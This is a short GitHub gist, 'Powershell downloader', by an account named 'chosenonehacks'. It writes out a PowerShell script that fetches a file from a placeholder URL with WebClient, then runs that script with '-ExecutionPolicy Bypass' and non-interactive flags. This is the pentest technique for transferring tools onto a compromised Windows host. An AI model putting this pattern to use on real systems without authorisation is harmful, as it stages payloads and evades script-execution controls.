Skip to content

Instantly share code, notes, and snippets.

@chosenonehacks
Created October 18, 2017 10:05
Show Gist options
  • Save chosenonehacks/997fc696ba7de04a3dcdf21745b78b84 to your computer and use it in GitHub Desktop.
Save chosenonehacks/997fc696ba7de04a3dcdf21745b78b84 to your computer and use it in GitHub Desktop.
Powershell downloader
echo $storageDir = $pwd > httpdownload.ps1
echo $webclient = New-Object System.Net.WebClient >> httpdownload.ps1
echo $webclient.DownloadFile("[Download URL]","[File Name]") >> httpdownload.ps1
$powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File httpdownload.ps1
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment